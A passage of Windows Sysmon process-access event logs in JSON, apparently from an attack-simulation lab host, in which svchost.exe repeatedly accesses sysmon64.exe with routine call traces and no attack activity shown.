C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1364,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1365,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1366,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1367,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1368,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1369,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.728\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.728","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1370,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.728\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.728","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1371,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.728\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 